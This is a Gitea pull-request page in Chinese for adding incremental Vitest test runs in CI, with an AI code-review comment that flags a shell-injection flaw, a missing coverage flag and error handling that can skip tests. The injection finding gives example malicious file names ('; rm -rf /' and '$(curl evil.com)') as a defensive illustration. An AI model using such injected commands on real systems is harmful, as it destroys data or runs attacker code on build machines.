ci: Vitest增量执行,PR模式只跑改动文件相关的测试 #697
Reference in New Issue
Block a user
Delete Branch "ci/vitest-incremental"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
优化内容
前端单测Vitest增量执行,小PR单测时间预计从几分钟降到几十秒:
vitest --related自动跑与改动文件相关的测试用例性能收益
文件变更
scripts/ci/vitest_incremental.sh:增量执行逻辑.gitea/workflows/ci-pipeline.yml:frontend-unit-test调用增量脚本代码审查结果 - PR #697
⚠️ 问题(3个需要修改)
scripts/ci/vitest_incremental.sh 第71行:存在Shell命令注入风险
$CHANGED_FILES未加引号直接传递给npx命令。由于文件名来源于外部API(PR改动文件),攻击者可创建包含恶意字符(如; rm -rf /或$(curl evil.com))的文件名,导致在CI Runner上执行任意命令。npx ... --related "$CHANGED_FILES",或者更安全地使用数组存储文件列表。scripts/ci/vitest_incremental.sh 第71行:增量测试缺少覆盖率参数
vitest run --coverage,但增量测试(第71行)只执行了vitest run --related $CHANGED_FILES,缺少--coverage参数。这会导致PR构建无法生成覆盖率报告,若CI有覆盖率卡点会导致构建失败或数据缺失。--coverage参数。scripts/ci/vitest_incremental.sh 第28-43行:API异常处理逻辑缺陷,可能导致漏测
curl请求失败(如网络超时、认证失败)或返回非JSON数据时,Python脚本捕获异常并打印空字符串,导致CHANGED_FILES为空。脚本随后判断为空并exit 0跳过测试。这会掩盖API调用失败的事实,导致有代码改动却未执行任何测试直接通过CI。💡 建议(1个可选)
wc -w统计文件数量,如果文件名包含空格,统计结果会不准确。虽然后续逻辑(>30个文件全量跑)有一定容错性,但在增量模式下,文件名带空格会导致vitest --related参数解析错误。建议在Python脚本中输出文件数量,或者在Shell中更稳健地处理文件列表。✅ 格式检查通过 | ❌ 逻辑审查需修改 | ✅ 性能无明显问题
🤖 由 AI 代码审查机器人自动生成 | 2026-07-22 08:24:32 | 模型:
🚀 预览环境已部署
🗑️ 预览环境已清理
PR #697 已关闭或合并,对应的预览环境已被清理。